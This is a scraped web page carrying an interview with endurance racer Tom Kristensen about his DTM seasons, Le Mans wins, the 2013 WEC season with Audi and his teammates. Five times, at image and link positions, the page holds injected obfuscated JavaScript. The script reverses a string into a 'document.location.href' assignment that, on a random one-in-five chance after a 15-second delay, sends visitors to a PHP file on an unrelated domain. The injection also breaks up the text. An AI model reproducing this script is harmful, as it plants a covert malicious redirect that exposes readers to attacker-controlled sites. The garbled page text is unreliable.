$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Tom-Kristensen-24-Hours-Of-Le-Mans-Dubai-UAE-046.jpg” alt=”” width=”728″ height=”485″ />
Seven seasons in the DTM from 2004-09 and 2011 brought you four wins and 14 more podiums. But a Championship never came about. Is there a particular reason for that?
“As a third driver I still had the pleasure to join as a third driver in the ALMS at places like Sebring and Le Mans, but DTM was the spell where I focused on sprint racing. A championship never materialised that’s true, but I think I definitely had the speed. I had the wins, I had the pole positions, but I didn’t have the consistency of doing it perfectly.”
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Is there a season that stands out for you?
“I think that 2006 was my best year [where Tom finished third overall to Bernd Schneider and Bruno Spengler]. I remember clearly a retirement at Brands Hatch, which cost me dearly because it was from the lead. I felt that was my best season, and that was also my best race. That was a very disappointing moment for both me and Audi in that season.
“But I enjoyed my racing very much. One hour of racing flat out, it was great! DTM is still something I follow very much, but my real love for racing, for strategy, and feel of the car and the speed in the corners is sportscars. That’s where I want to be.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Tom-Kristensen-24-Hours-Of-Le-Mans-Dubai-UAE-030.jpg” alt=”” width=”728″ height=”485″ />
The new WEC season kicks off at Silverstone on 14 April, and you’re competing once again in the Audi R18 e-tron, with Allan McNish and Loic Duval. How do you rate your chances on taking the Championship this year?
“[Pause] Well, you need to be very motivated and you need to have the hunger for success. We want to achieve even more than we did last year. Our teammates [André Lotterer, Benoît Tréluyer and Marcel Fässler] $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/world-endurance/” target=”_blank”>won last year, they $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/le_mans/” target=”_blank”>won Le Mans and we would like to do better. We have the race coming up at Sebring where Lucas Di Grassi [former F1 driver with Virgin] joins us. So we want to achieve the best, and that is always winning the next race.
“We looking forward to the competition, particularly against Toyota, but we also have the private petrol cars which this year get a break in the regulations. That will definitely make the competition closer. That will be exciting to see, and that will make the racing incredibly exciting I’m sure.”
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You’re joined by Loic Duval for the first time in 2013, but once again partner Allan McNish. Together with Rinaldo Capello, you’ve driven together many times. How does it feel to be gearing up for another season together?
“We love racing together, and even though Dindo [Rinaldo] has retired now, we want to spend a little more time together in Italy. We are different personalities but we get on very well, and we have at least one thing in common. If it’s not driving fast racing cars, it is having a good cup of coffee in the morning! Dindo is always the one we ask to pay, and very seldom he has the correct currency is his pocket. He’ll definitely be paying for the coffee this year at Sebring though!”
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Aside from the World Endurance Championship, is there any particular goals you have yet to meet during your career?
“Not really. Of course, there’s always the next race. I enjoy my racing, the preparation and the testing, and I’m looking forward to this year, particularly since we are visiting new circuits this year. Austin, Texas, for us is new, so that will be a great challenge.”
Do you see yourself continuing a role with Audi when you decide to retire from the cockpit?
“Yes. Certainly. I’ve been with Audi for many years…everything I see from them is something I like and admire, and I’ve seen the company grow in all directions. The quality of the products the company brings to its customers is something I stand by 100%, and I don’t see why I shouldn’t do that in the future. For me, it’s a contract for life!”
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Eight wins at the 24 Hours of Le Mans; six wins at the 12 Hours of Sebring; a 2002 Petit Le Mans Series Championship; victories in Formula 3000, the DTM, the BTCC, and the WEC; 1993 Japanese F3 Champion; 1991 German F3 Champion; and test driver for four teams in Formula One. Quite an extensive CV, but what would you classify as your career highlight?
“I like the question, but I like the answer one of my teammates gave a few months ago. He said, it’s the respect you get from the Audi team, the mechanics and the other drivers.’ That was Dindo Capello when he retired a few months ago. So I’m stealing his words [laughs] but it’s spot on. I find them very telling: respect is bigger and better than any race wins.”
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Tom-Kristensen-24-Hours-Of-Le-Mans-Dubai-UAE-009.jpg” alt=”” width=”728″ height=”485″ />
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